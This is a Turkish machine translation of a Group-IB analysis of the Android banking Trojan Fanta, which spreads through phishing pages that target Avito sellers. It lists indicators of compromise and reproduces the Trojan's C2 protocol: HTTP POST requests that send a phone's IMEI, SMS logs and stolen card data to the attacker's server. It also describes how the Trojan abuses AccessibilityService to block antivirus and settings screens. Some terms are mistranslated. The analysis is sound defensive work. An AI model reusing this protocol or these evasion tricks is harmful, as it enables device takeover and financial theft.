Leysya, Fanta: Eski bir Android Truva Atı için yeni bir taktik

Leysya, Fanta: Eski bir Android Truva Atı için yeni bir taktik

Bir gün Avito'da bir şey satmak istiyorsunuz ve ürününüzle ilgili ayrıntılı bir açıklama (örneğin bir RAM modülü) gönderdikten sonra şu mesajı alacaksınız:

Leysya, Fanta: Eski bir Android Truva Atı için yeni bir taktikBağlantıyı açtığınızda, mutlu ve başarılı satıcı olarak size bir satın alma işleminin yapıldığını bildiren görünüşte zararsız bir sayfa göreceksiniz:

Leysya, Fanta: Eski bir Android Truva Atı için yeni bir taktik
“Devam Et” düğmesine tıkladığınızda, Android cihazınıza simgeli ve güven verici bir ad içeren bir APK dosyası indirilecektir. Herhangi bir nedenle AccessibilityService haklarını talep eden bir uygulama yüklediniz, ardından birkaç pencere belirdi ve hızla kayboldu ve... İşte bu kadar.

Bakiyenizi kontrol etmeye gidiyorsunuz ancak bankacılık uygulamanız bir nedenden dolayı kart bilgilerinizi tekrar istiyor. Verileri girdikten sonra korkunç bir şey olur: Sizin için hala belirsiz olan bir nedenden dolayı para hesabınızdan kaybolmaya başlar. Sorunu çözmeye çalışıyorsunuz ancak telefonunuz direniyor: "Geri" ve "Ana Sayfa" tuşlarına basıyor, kapanmıyor ve herhangi bir güvenlik önlemini etkinleştirmenize izin vermiyor. Sonuç olarak parasız kalırsınız, mallarınız alınmaz, kafanız karışır ve merak edersiniz: ne oldu?

Cevap basit: Flexnet ailesinin bir üyesi olan Android Trojan Fanta'nın kurbanı oldunuz. Bu nasıl oldu? Şimdi açıklayalım.

Yazarlar: Andrey Polovinkin, kötü amaçlı yazılım analizinde kıdemsiz uzman, Ivan Pisarev, kötü amaçlı yazılım analizinde uzman.

Bazı istatistikler

Flexnet Android Truva Atları ailesi ilk olarak 2015 yılında tanındı. Oldukça uzun bir faaliyet dönemi boyunca aile birkaç alt türe genişledi: Fanta, Limebot, Lipton, vb. Truva atı ve onunla ilişkili altyapı yerinde durmuyor: yeni etkili dağıtım planları geliştiriliyor - bizim durumumuzda, belirli bir kullanıcı-satıcıyı hedefleyen yüksek kaliteli kimlik avı sayfaları ve Truva atı geliştiricileri moda trendlerini takip ediyor virüs yazma - virüs bulaşmış cihazlardan daha verimli bir şekilde para çalmayı ve koruma mekanizmalarını atlamayı mümkün kılan yeni işlevler ekleme.

Bu makalede açıklanan kampanya Rusya'daki kullanıcılara yöneliktir; Ukrayna'da az sayıda, Kazakistan ve Beyaz Rusya'da ise daha da az sayıda virüslü cihaz kaydedildi.

Flexnet, 4 yılı aşkın bir süredir Android Trojan arenasında yer almasına ve birçok araştırmacı tarafından ayrıntılı olarak incelenmesine rağmen hala iyi durumda. Ocak 2019'dan itibaren potansiyel hasar miktarı 35 milyon rubleden fazla - ve bu yalnızca Rusya'daki kampanyalar için geçerli. 2015 yılında, bu Android Truva Atı'nın çeşitli versiyonları, Truva Atı'nın kaynak kodunun ayrıntılı bir açıklamayla birlikte bulunabildiği yer altı forumlarında satıldı. Bu da dünyadaki hasar istatistiklerinin daha da etkileyici olduğu anlamına geliyor. Bu kadar yaşlı bir adam için kötü bir gösterge değil mi?

Leysya, Fanta: Eski bir Android Truva Atı için yeni bir taktik

Satıştan aldatmaya

Avito reklamlarının yayınlanmasına yönelik İnternet hizmetine yönelik bir kimlik avı sayfasının daha önce sunulan ekran görüntüsünden de görülebileceği gibi, belirli bir kurban için hazırlanmıştır. Görünüşe göre saldırganlar Avito'nun satıcının telefon numarası ve adının yanı sıra ürün açıklamasını da çıkaran ayrıştırıcılarından birini kullanıyor. Sayfayı genişletip APK dosyasını hazırladıktan sonra mağdura adının yer aldığı bir SMS ve ürününün açıklamasını ve ürünün "satışından" elde edilen tutarı içeren bir kimlik avı sayfasına bağlantı gönderilir. Düğmeye tıklandığında, kullanıcı kötü amaçlı bir APK dosyası olan Fanta'yı alır.

shcet491[.]ru alan adı üzerinde yapılan bir araştırma, bunun Hostinger'ın DNS sunucularına devredildiğini gösterdi:

  • ns1.hostinger.ru
  • ns2.hostinger.ru
  • ns3.hostinger.ru
  • ns4.hostinger.ru

Etki alanı bölge dosyası, 31.220.23[.]236, 31.220.23[.]243 ve 31.220.23[.]235 IP adreslerine işaret eden girişleri içerir. Ancak alan adının birincil kaynak kaydı (A kaydı), 178.132.1[.]240 IP adresine sahip bir sunucuyu işaret ediyor.

IP adresi 178.132.1[.]240 Hollanda'da bulunmaktadır ve barındırıcıya aittir Dünya Akışı. 31.220.23[.]235, 31.220.23[.]236 ve 31.220.23[.]243 IP adresleri Birleşik Krallık'ta bulunmaktadır ve HOSTINGER paylaşımlı barındırma sunucusuna aittir. Kayıt cihazı olarak kullanılır openprov-ru. Aşağıdaki alan adları da 178.132.1[.]240 IP adresine çözümlenmiştir:

  • sdelka-ru[.]ru
  • tovar-av[.]ru
  • av-tovar[.]ru
  • ru-sdelka[.]ru
  • shcet382[.]ru
  • sdelka221[.]ru
  • sdelka211[.]ru
  • vyplata437[.]ru
  • viplata291[.]ru
  • perevod273[.]ru
  • perevod901[.]ru

Aşağıdaki formattaki bağlantıların hemen hemen tüm alanlardan mevcut olduğunu belirtmek gerekir:

http://(www.){0,1}<%domain%>/[0-9]{7}

Bu şablon aynı zamanda bir SMS mesajından bir bağlantı da içerir. Geçmiş verilere dayanarak, yukarıda açıklanan modelde bir alan adının birden fazla bağlantıya karşılık geldiği bulunmuştur; bu da, bir alan adının Truva Atı'nı birden fazla kurbana dağıtmak için kullanıldığına işaret etmektedir.

Biraz ileri atlayalım: SMS'deki bir bağlantı aracılığıyla indirilen Truva Atı, adresi kullanır. onu kullanmışseddohap[.]club. Bu alan adı 2019-03-12 tarihinde kaydedilmiştir ve 2019-04-29 tarihinden itibaren APK uygulamaları bu alan adıyla etkileşime girmiştir. VirusTotal'dan elde edilen verilere göre toplam 109 uygulama bu sunucuyla etkileşime girdi. Alanın kendisi IP adresine çözümlendi 217.23.14[.]27, Hollanda'da bulunmaktadır ve sahibi ev sahibine aittir Dünya Akışı. Kayıt cihazı olarak kullanılır namecheap. Alan adları da bu IP adresine çözümlendi kötü rakun[.]kulübü (2018-09-25'ten başlayarak) ve bad-racoon[.]canlı (2018-10-25'ten başlayarak). Alan adı ile kötü rakun[.]kulübü 80'den fazla APK dosyasıyla etkileşim kuruldu bad-racoon[.]canlı - 100 den fazla.

Genel olarak saldırı şu şekilde ilerler:

Leysya, Fanta: Eski bir Android Truva Atı için yeni bir taktik

Fanta'nın kapağının altında ne var?

Diğer pek çok Android Truva atı gibi Fanta da SMS mesajları okuyabilir ve gönderebilir, USSD isteklerinde bulunabilir ve uygulamaların üzerinde (bankacılık uygulamaları dahil) kendi pencerelerini görüntüleyebilir. Ancak bu ailenin işlevsellik cephaneliği geldi: Fanta kullanmaya başladı ErişilebilirlikHizmet çeşitli amaçlar için: diğer uygulamalardan gelen bildirimlerin içeriğini okumak, virüs bulaşmış bir cihazda bir Truva Atı'nın tespit edilmesini önlemek ve yürütülmesini durdurmak vb. Fanta, Android'in 4.4'ten daha genç olmayan tüm sürümlerinde çalışır. Bu yazımızda aşağıdaki Fanta örneğine daha yakından bakacağız:

  • MD5: 0826bd11b2c130c4c8ac137e395ac2d4
  • SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
  • SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

Lansmandan hemen sonra

Truva atı başlatıldıktan hemen sonra simgesini gizler. Uygulama yalnızca virüslü cihazın adı listede yoksa çalışabilir:

  • android_x86
  • VirtualBox
  • Nexus 5X(boğa başı)
  • Nexus 5(jilet)

Bu kontrol Truva Atı'nın ana hizmetinde gerçekleştirilir - AnaHizmet. İlk kez başlatıldığında, uygulamanın yapılandırma parametreleri varsayılan değerlere sıfırlanır (yapılandırma verilerini saklama biçimi ve anlamları daha sonra tartışılacaktır) ve kontrol sunucusuna yeni bir virüslü cihaz kaydedilir. Sunucuya mesaj tipini içeren bir HTTP POST isteği gönderilecek kayıt_botu ve virüs bulaşmış cihazla ilgili bilgiler (Android sürümü, IMEI, telefon numarası, operatör adı ve operatörün kayıtlı olduğu ülke kodu). Adres kontrol sunucusu görevi görür hXXp://onuseseddohap[.]club/controller.php. Yanıt olarak sunucu, alanları içeren bir mesaj gönderir. bot_id, bot_pwd, sunucu — uygulama bu değerleri CnC sunucusunun parametreleri olarak kaydeder. Parametre sunucu alan alınmadıysa isteğe bağlı: Fanta kayıt adresini kullanır - hXXp://onuseseddohap[.]club/controller.php. CnC adresini değiştirme işlevi iki sorunu çözmek için kullanılabilir: yükü birkaç sunucu arasında eşit olarak dağıtmak (çok sayıda virüslü cihaz varsa, optimize edilmemiş bir web sunucusundaki yük yüksek olabilir) ve ayrıca CnC adresini değiştirmek için kullanılabilir. CnC sunucularından birinin arızalanması durumunda alternatif bir sunucu.

İsteği gönderirken bir hata oluşursa Truva atı 20 saniye sonra kayıt işlemini tekrarlayacaktır.

Cihaz başarıyla kaydolduktan sonra Fanta kullanıcıya aşağıdaki mesajı gösterecektir:

Leysya, Fanta: Eski bir Android Truva Atı için yeni bir taktik
Önemli not: çağrılan servis Sistem Güvenliği — Truva atı hizmetinin adı ve düğmeye tıkladıktan sonra Tamam Etkilenen cihazın Erişilebilirlik ayarlarının yer aldığı ve kullanıcının kötü amaçlı hizmet için Erişilebilirlik haklarını vermesi gereken bir pencere açılacaktır:

Leysya, Fanta: Eski bir Android Truva Atı için yeni bir taktik
Kullanıcı açılır açılmaz ErişilebilirlikHizmetFanta, uygulama pencerelerinin içeriğine ve bunlarda gerçekleştirilen eylemlere erişim kazanır:

Leysya, Fanta: Eski bir Android Truva Atı için yeni bir taktik
Erişilebilirlik haklarını aldıktan hemen sonra Truva Atı, yönetici haklarını ve bildirimleri okuma haklarını ister:

Leysya, Fanta: Eski bir Android Truva Atı için yeni bir taktik
Uygulama, AccessibilityService'i kullanarak tuş vuruşlarını simüle eder ve böylece kendisine gerekli tüm hakları verir.

Fanta, yapılandırma verilerinin yanı sıra virüs bulaşmış cihazla ilgili süreçte toplanan bilgileri depolamak için gerekli olan birden fazla veritabanı örneği (daha sonra açıklanacaktır) oluşturur. Toplanan bilgileri göndermek için Truva Atı, veritabanından alanlar indirmek ve kontrol sunucusundan bir komut almak üzere tasarlanmış, yinelenen bir görev oluşturur. CnC'ye erişim aralığı Android sürümüne bağlı olarak ayarlanır: 5.1 durumunda aralık 10 saniye, aksi takdirde 60 saniye olacaktır.

Komutu almak için Fanta bir istekte bulunur Görev Al yönetim sunucusuna. Yanıt olarak CnC aşağıdaki komutlardan birini gönderebilir:

Ekip Açıklama
0 SMS mesajı gönder
1 Bir telefon görüşmesi yapın veya USSD komutu verin
2 Bir parametreyi günceller aralık
3 Bir parametreyi günceller yolunu kesmek
6 Bir parametreyi günceller smsYönetici
9 SMS mesajlarını toplamaya başlayın
11 Telefonunuzu fabrika ayarlarına sıfırlayın
12 İletişim kutusu oluşturmanın günlüğe kaydedilmesini Etkinleştir/Devre Dışı Bırak

Fanta ayrıca 70 bankacılık uygulamasından, hızlı ödeme sistemlerinden ve e-cüzdanlardan gelen bildirimleri topluyor ve bunları bir veritabanında saklıyor.

Yapılandırma parametrelerinin saklanması

Fanta, konfigürasyon parametrelerini saklamak için Android platformuna yönelik standart bir yaklaşım kullanır: Tercihler-Dosyalar. Ayarlar adlı bir dosyaya kaydedilecektir. ayarlar. Kaydedilen parametrelerin açıklaması aşağıdaki tablodadır.

isim Varsayılan değer Olası değerler Açıklama
id 0 Tamsayı Bot kimliği
sunucu hXXp://onuseddohap[.]club/ URL Sunucu adresini kontrol et
pwd - dizi Sunucu şifresi
aralık 20 Tamsayı Zaman aralığı. Aşağıdaki görevlerin ne kadar süreyle ertelenmesi gerektiğini belirtir:

  • Gönderilen bir SMS mesajının durumu hakkında istek gönderirken
  • Yönetim sunucusundan yeni bir komut alma

yolunu kesmek herşey tümü/telNumarası Alan dizeye eşitse herşey veya telNumarası, bu durumda alınan SMS mesajı uygulama tarafından ele geçirilecek ve kullanıcıya gösterilmeyecektir.
smsYönetici 0 0/1 Uygulamayı varsayılan SMS alıcısı olarak etkinleştirme/devre dışı bırakma
okumaDialog yanlış Doğru yanlış Olay günlüğünü etkinleştirme/devre dışı bırakma Erişilebilirlik Etkinliği

Fanta da dosyayı kullanıyor smsYönetici:

isim Varsayılan değer Olası değerler Açıklama
pckg - dizi Kullanılan SMS mesajı yöneticisinin adı

Veritabanlarıyla etkileşim

Trojan, çalışması sırasında iki veritabanı kullanır. Veritabanı adı a telefondan toplanan çeşitli bilgileri saklamak için kullanılır. İkinci veritabanının adı fanta.db ve banka kartları hakkında bilgi toplamak üzere tasarlanmış kimlik avı pencereleri oluşturmaktan sorumlu ayarları kaydetmek için kullanılır.

Trojan veritabanını kullanıyor а Toplanan bilgileri depolamak ve eylemlerinizi günlüğe kaydetmek için. Veriler bir tabloda saklanır günlükleri. Bir tablo oluşturmak için aşağıdaki SQL sorgusunu kullanın:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

Veritabanı aşağıdaki bilgileri içerir:

1. Etkilenen cihazın başlatılmasını bir mesajla günlüğe kaydetme Telefon açıldı!

2. Uygulamalardan gelen bildirimler. Mesaj aşağıdaki şablona göre oluşturulur:

(<%App Name%>)<%Title%>: <%Notification text%>

3. Truva Atı tarafından oluşturulan kimlik avı formlarından elde edilen banka kartı verileri. Parametre VIEW_NAME aşağıdakilerden biri olabilir:

  • AliExpress
  • Avito
  • Google Oyun
  • Çeşitli <%Uygulama Adı%>

Mesaj şu formatta kaydedilir:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. Şu formatta gelen/giden SMS mesajları:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. İletişim kutusunu şu formatta oluşturan paket hakkında bilgi:

(<%Package name%>)<%Package information%>

Örnek tablo günlükleri:

Leysya, Fanta: Eski bir Android Truva Atı için yeni bir taktik
Fanta'nın işlevlerinden biri de banka kartları hakkında bilgi toplamaktır. Veri toplama, bankacılık uygulamalarını açarken kimlik avı pencereleri oluşturulması yoluyla gerçekleşir. Truva atı kimlik avı penceresini yalnızca bir kez oluşturur. Pencerenin kullanıcıya gösterildiği bilgiler bir tabloda saklanır ayarlar veritabanında fanta.db. Veritabanı oluşturmak için aşağıdaki SQL sorgusunu kullanın:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

Tüm tablo alanları ayarlar varsayılan olarak 1 olarak başlatılmıştır (kimlik avı penceresi oluşturun). Kullanıcı verilerini girdikten sonra değer 0 olarak ayarlanacaktır. Tablo alanları örneği ayarlar:

  • can_login — alan, bir bankacılık başvurusunu açarken formun görüntülenmesinden sorumludur
  • ilk_banka - kullanılmamış
  • can_avito — alan, Avito uygulamasını açarken formun görüntülenmesinden sorumludur
  • can_ali — alan, Aliexpress uygulamasını açarken formun görüntülenmesinden sorumludur
  • can_another — alan, listeden herhangi bir uygulamayı açarken formun görüntülenmesinden sorumludur: Yula, Pandao, Drom Auto, Cüzdan. İndirim ve bonus kartları, Aviasales, Rezervasyon, Trivago
  • can_card — alan, formu açarken görüntülemekten sorumludur Google Oyun

Yönetim sunucusuyla etkileşim

Yönetim sunucusuyla ağ etkileşimi HTTP protokolü aracılığıyla gerçekleşir. Fanta, ağla çalışmak için popüler Retrofit kütüphanesini kullanıyor. İstekler şu adrese gönderilir: hXXp://onuseseddohap[.]club/controller.php. Sunucuya kayıt olurken sunucu adresi değiştirilebilir. Çerezler sunucudan yanıt olarak gönderilebilir. Fanta sunucuya aşağıdaki istekleri yapar:

  • Botun kontrol sunucusuna kaydı, ilk başlatmanın ardından bir kez gerçekleşir. Etkilenen cihazla ilgili aşağıdaki veriler sunucuya gönderilir:
    · kurabiye — sunucudan alınan çerezler (varsayılan değer boş bir dizedir)
    · kip — dize sabiti kayıt_botu
    · önek — tamsayı sabiti 2
    · version_sdk — aşağıdaki şablona göre oluşturulmuştur: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
    · imei — Etkilenen cihazın IMEI'si
    · ülke - operatörün kayıtlı olduğu ülkenin ISO formatındaki kodu
    · numara - telefon numarası
    · Şebeke - operatör ismi

    Sunucuya gönderilen istek örneği:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 144
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
    

    İsteğe yanıt olarak sunucunun aşağıdaki parametreleri içeren bir JSON nesnesi döndürmesi gerekir:
    · bot_id — Etkilenen cihazın kimliği. Bot_id 0'a eşitse Fanta isteği yeniden yürütür.
    bot_pwd — sunucunun şifresi.
    sunucu — sunucu adresini kontrol edin. İsteğe bağlı parametre. Parametre belirtilmezse uygulamada kayıtlı adres kullanılacaktır.

    Örnek JSON nesnesi:

    {
        "response":[
       	 {
       		 "bot_id": <%BOT_ID%>,
       		 "bot_pwd": <%BOT_PWD%>,
       		 "server": <%SERVER%>
       	 }
        ],
        "status":"ok"
    }

  • Sunucudan bir komut alma isteği. Aşağıdaki veriler sunucuya gönderilir:
    · kurabiye — sunucudan alınan çerezler
    · teklif — istek gönderilirken alınan virüslü cihazın kimliği kayıt_botu
    · pwd —sunucunun şifresi
    · divice_admin — alan, yönetici haklarının alınıp alınmadığını belirler. Yönetici hakları alınmışsa alan şuna eşittir: 1aksi takdirde 0
    · Engellilerin kullanımları için uygunluk — Erişilebilirlik Hizmeti çalışma durumu. Hizmet başlatıldıysa değer: 1aksi takdirde 0
    · SMSYöneticisi — Trojan'ın SMS almak için varsayılan uygulama olarak etkin olup olmadığını gösterir
    · ekran — ekranın hangi durumda olduğunu görüntüler. Değer ayarlanacak 1, eğer ekran açıksa, aksi halde 0;

    Sunucuya gönderilen istek örneği:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

    Komuta bağlı olarak sunucu, farklı parametrelere sahip bir JSON nesnesi döndürebilir:

    · Ekip SMS mesajı gönder: Parametreler telefon numarasını, SMS mesajının metnini ve gönderilen mesajın kimliğini içerir. Tanımlayıcı, sunucuya türle bir mesaj gönderilirken kullanılır. setSmsDurumu.

    {
        "response":
        [
       	 {
       		 "mode": 0,
       		 "sms_number": <%SMS_NUMBER%>,
       		 "sms_text": <%SMS_TEXT%>,
       		 "sms_id": %SMS_ID%
       	 }
        ],
        "status":"ok"
    }

    · Ekip Bir telefon görüşmesi yapın veya USSD komutu verin: Telefon numarası veya komut yanıt gövdesinde gelir.

    {
        "response":
        [
       	 {
       		 "mode": 1,
       		 "command": <%TEL_NUMBER%>
       	 }
        ],
        "status":"ok"
    }

    · Ekip Aralık parametresini değiştir.

    {
        "response":
        [
       	 {
       		 "mode": 2,
       		 "interval": <%SECONDS%>
       	 }
        ],
        "status":"ok"
    }

    · Ekip Kesişme parametresini değiştir.

    {
        "response":
        [
       	 {
       		 "mode": 3,
       		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
       	 }
        ],
        "status":"ok"
    }

    · Ekip SmsManager alanını değiştir.

    {
        "response":
        [
       	 {
       		 "mode": 6,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

    · Ekip Virüs bulaşmış bir cihazdan SMS mesajları toplayın.

    {
        "response":
        [
       	 {
       		 "mode": 9
       	 }
        ],
        "status":"ok"
    }

    · Ekip Telefonunuzu fabrika ayarlarına sıfırlayın:

    {
        "response":
        [
       	 {
       		 "mode": 11
       	 }
        ],
        "status":"ok"
    }

    · Ekip ReadDialog parametresini değiştir.

    {
        "response":
        [
       	 {
       		 "mode": 12,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

  • Türüyle mesaj gönderme setSmsDurumu. Bu istek, komut yürütüldükten sonra yapılır SMS mesajı gönder. Talep şuna benzer:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

  • Veritabanı içeriğini yükleme. İstek başına bir satır iletilir. Aşağıdaki veriler sunucuya gönderilir:
    · kurabiye — sunucudan alınan çerezler
    · kip — dize sabiti setSaveInboxSms
    · teklif — istek gönderilirken alınan virüslü cihazın kimliği kayıt_botu
    · metin — geçerli veritabanı kaydındaki metin (alan d masadan günlükleri veritabanında а)
    · numara — mevcut veritabanı kaydının adı (alan p masadan günlükleri veritabanında а)
    · sms_mode — tam sayı değeri (alan m masadan günlükleri veritabanında а)

    Talep şuna benzer:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

    Başarılı bir şekilde sunucuya gönderilirse satır tablodan silinecektir. Sunucu tarafından döndürülen JSON nesnesi örneği:

    {
        "response":[],
        "status":"ok"
    }

AccessibilityService ile etkileşim kurma

Erişilebilirlik Hizmeti, Android cihazların engelli kişiler için kullanımını kolaylaştırmak amacıyla uygulandı. Çoğu durumda, bir uygulamayla etkileşim kurmak için fiziksel etkileşim gerekir. AccessibilityService bunları programlı olarak yapmanıza olanak tanır. Fanta, bu hizmeti bankacılık uygulamalarında sahte pencereler oluşturmak ve kullanıcıların sistem ayarlarını ve bazı uygulamaları açmasını engellemek için kullanıyor.

Truva Atı, Erişilebilirlik Hizmetinin işlevselliğini kullanarak, virüslü cihazın ekranındaki öğelerde yapılan değişiklikleri izler. Daha önce açıklandığı gibi Fanta ayarları, iletişim kutularıyla işlemlerin günlüğe kaydedilmesinden sorumlu bir parametre içerir - okumaDialog. Bu parametre ayarlanırsa, olayı tetikleyen paketin adı ve açıklaması hakkındaki bilgiler veritabanına eklenecektir. Trojan, olaylar tetiklendiğinde aşağıdaki eylemleri gerçekleştirir:

  • Aşağıdaki durumlarda geri ve ana sayfa tuşlarına basmayı simüle eder:
    · kullanıcı cihazını yeniden başlatmak isterse
    · kullanıcı “Avito” uygulamasını silmek veya erişim haklarını değiştirmek isterse
    · sayfada “Avito” uygulamasından bahsediliyorsa
    · Google Play Koruma uygulamasını açarken
    · AccessibilityService ayarlarıyla sayfaları açarken
    · Sistem Güvenliği iletişim kutusu göründüğünde
    · sayfayı “Diğer uygulamanın üzerine çiz” ayarlarıyla açarken
    · “Uygulamalar” sayfasını açarken, “Kurtarma ve sıfırlama”, “Veri sıfırlama”, “Ayarları sıfırla”, “Geliştirici paneli”, “Özel. fırsatlar”, “Özel fırsatlar”, “Özel haklar”
    · olayın belirli uygulamalar tarafından oluşturulmuş olup olmadığı.

    Uygulamaların listesi

    • android
    • Usta Lite
    • Temizlik ustası
    • x86 CPU için Temiz Master
    • Meizu Uygulama İzin Yönetimi
    • MIUI Güvenliği
    • Clean Master - Antivirüs, Önbellek ve Çöp Temizleyici
    • Ebeveyn denetimleri ve GPS: Kaspersky SafeKids
    • Kaspersky Antivirus AppLock ve Web Güvenliği Beta
    • Virüs Temizleyici, Antivirüs, Temizleyici (MAX Security)
    • Mobil AntiVirüs Güvenliği PRO
    • Avast antivirüs ve ücretsiz koruma 2019
    • Mobil Güvenlik MegaFon
    • Xperia için AVG Koruması
    • Mobil güvenlik
    • Malwarebytes antivirüs ve koruma
    • Android 2019 için Antivirüs
    • Security Master - Antivirüs, VPN, Uygulama Kilidi, Güçlendirici
    • Huawei tablet Sistem Yöneticisi için AVG antivirüs
    • Erişilebilirlik
    • Samsung Akıllı Yönetici
    • Güvenlik Ustası
    • Hız yükseltici
    • Dr.Web
    • Dr.Web Güvenlik Alanı
    • Dr.Web Mobil Kontrol Merkezi
    • Dr.Web Security Uzayda Yaşam
    • Dr.Web Mobil Kontrol Merkezi
    • Antivirüs ve Mobil Güvenlik
    • Kaspersky Internet Security: Antivirüs ve Koruma
    • Kaspersky Pil Ömrü: Tasarruf ve Güçlendirici
    • Kaspersky Endpoint Security - koruma ve yönetim
    • AVG Antivirus ücretsiz 2019 – Android için Koruma
    • Android antivirüs
    • Norton Mobile Güvenlik ve Antivirüs
    • Antivirüs, güvenlik duvarı, VPN, mobil güvenlik
    • Mobil Güvenlik: antivirüs, VPN, hırsızlığa karşı koruma
    • Android için antivirüs

  • Kısa bir numaraya SMS mesajı gönderilirken izin istenirse Fanta, onay kutusunun tıklanmasını simüle eder Seçimi hatırla ve düğme göndermek.
  • Truva atından yönetici haklarını almaya çalıştığınızda telefon ekranı kilitlenir.
  • Yeni yöneticilerin eklenmesini engeller.
  • Antivirüs uygulaması ise dr.web Bir tehdit algıladığında Fanta düğmeye basmayı taklit ediyor aldırmamak.
  • Trojan, olay uygulama tarafından oluşturulmuşsa geri ve ana sayfa düğmesine basmayı simüle eder Samsung Cihaz Bakımı.
  • Fanta, yaklaşık 30 farklı İnternet hizmetinden oluşan bir listeden bir uygulamanın başlatılması durumunda banka kartları hakkında bilgi girmek için formlar içeren kimlik avı pencereleri oluşturuyor. Bunların arasında: AliExpress, Rezervasyon, Avito, Google Play Market Bileşeni, Pandao, Drom Auto vb.

    Kimlik Avı Formları

    Fanta, virüslü cihazda hangi uygulamaların çalıştığını analiz eder. İlgi çekici bir uygulama açıldığında, Truva Atı, diğer tüm uygulamaların üzerinde, banka kartı bilgilerinin girildiği bir form olan bir kimlik avı penceresi görüntüler. Kullanıcı aşağıdaki verileri girmelidir:

    • Kart numarası
    • Kart son kullanma tarihi
    • CVV
    • Kart sahibinin adı (tüm bankalar için geçerli değildir)

    Çalışan uygulamaya bağlı olarak farklı kimlik avı pencereleri gösterilecektir. Aşağıda bunlardan bazılarına örnekler verilmiştir:

    aliexpress:

    Leysya, Fanta: Eski bir Android Truva Atı için yeni bir taktik
    Avito:

    Leysya, Fanta: Eski bir Android Truva Atı için yeni bir taktik
    Diğer bazı uygulamalar için, ör. Google Play Market, Aviasales, Pandao, Rezervasyon, Trivago:
    Leysya, Fanta: Eski bir Android Truva Atı için yeni bir taktik

    Gerçekten nasıldı

    Neyse ki yazının başında anlatılan SMS mesajını alan kişinin siber güvenlik uzmanı olduğu ortaya çıktı. Bu nedenle, yönetmen olmayan gerçek versiyon daha önce anlatılandan farklıdır: Bir kişi ilginç bir SMS aldı ve ardından bunu Grup-IB Tehdit Avcılığı İstihbarat ekibine verdi. Saldırının sonucu bu yazıdır. Mutlu son, değil mi? Bununla birlikte, tüm hikayeler bu kadar başarılı bir şekilde bitmiyor ve sizinkinin para kaybıyla birlikte bir yönetmenin kurgusu gibi görünmemesi için çoğu durumda aşağıdaki uzun açıklanan kurallara uymanız yeterlidir:

    • Android işletim sistemine sahip bir mobil cihaza Google Play dışında herhangi bir kaynaktan uygulama yüklemeyin
    • Bir uygulamayı yüklerken uygulamanın talep ettiği haklara özellikle dikkat edin
    • İndirilen dosyaların uzantılarına dikkat edin
    • Android işletim sistemi güncellemelerini düzenli olarak yükleyin
    • şüpheli kaynakları ziyaret etmeyin ve oradan dosya indirmeyin
    • SMS mesajlarında alınan bağlantılara tıklamayın.

Kaynak: habr.com

Yorum ekle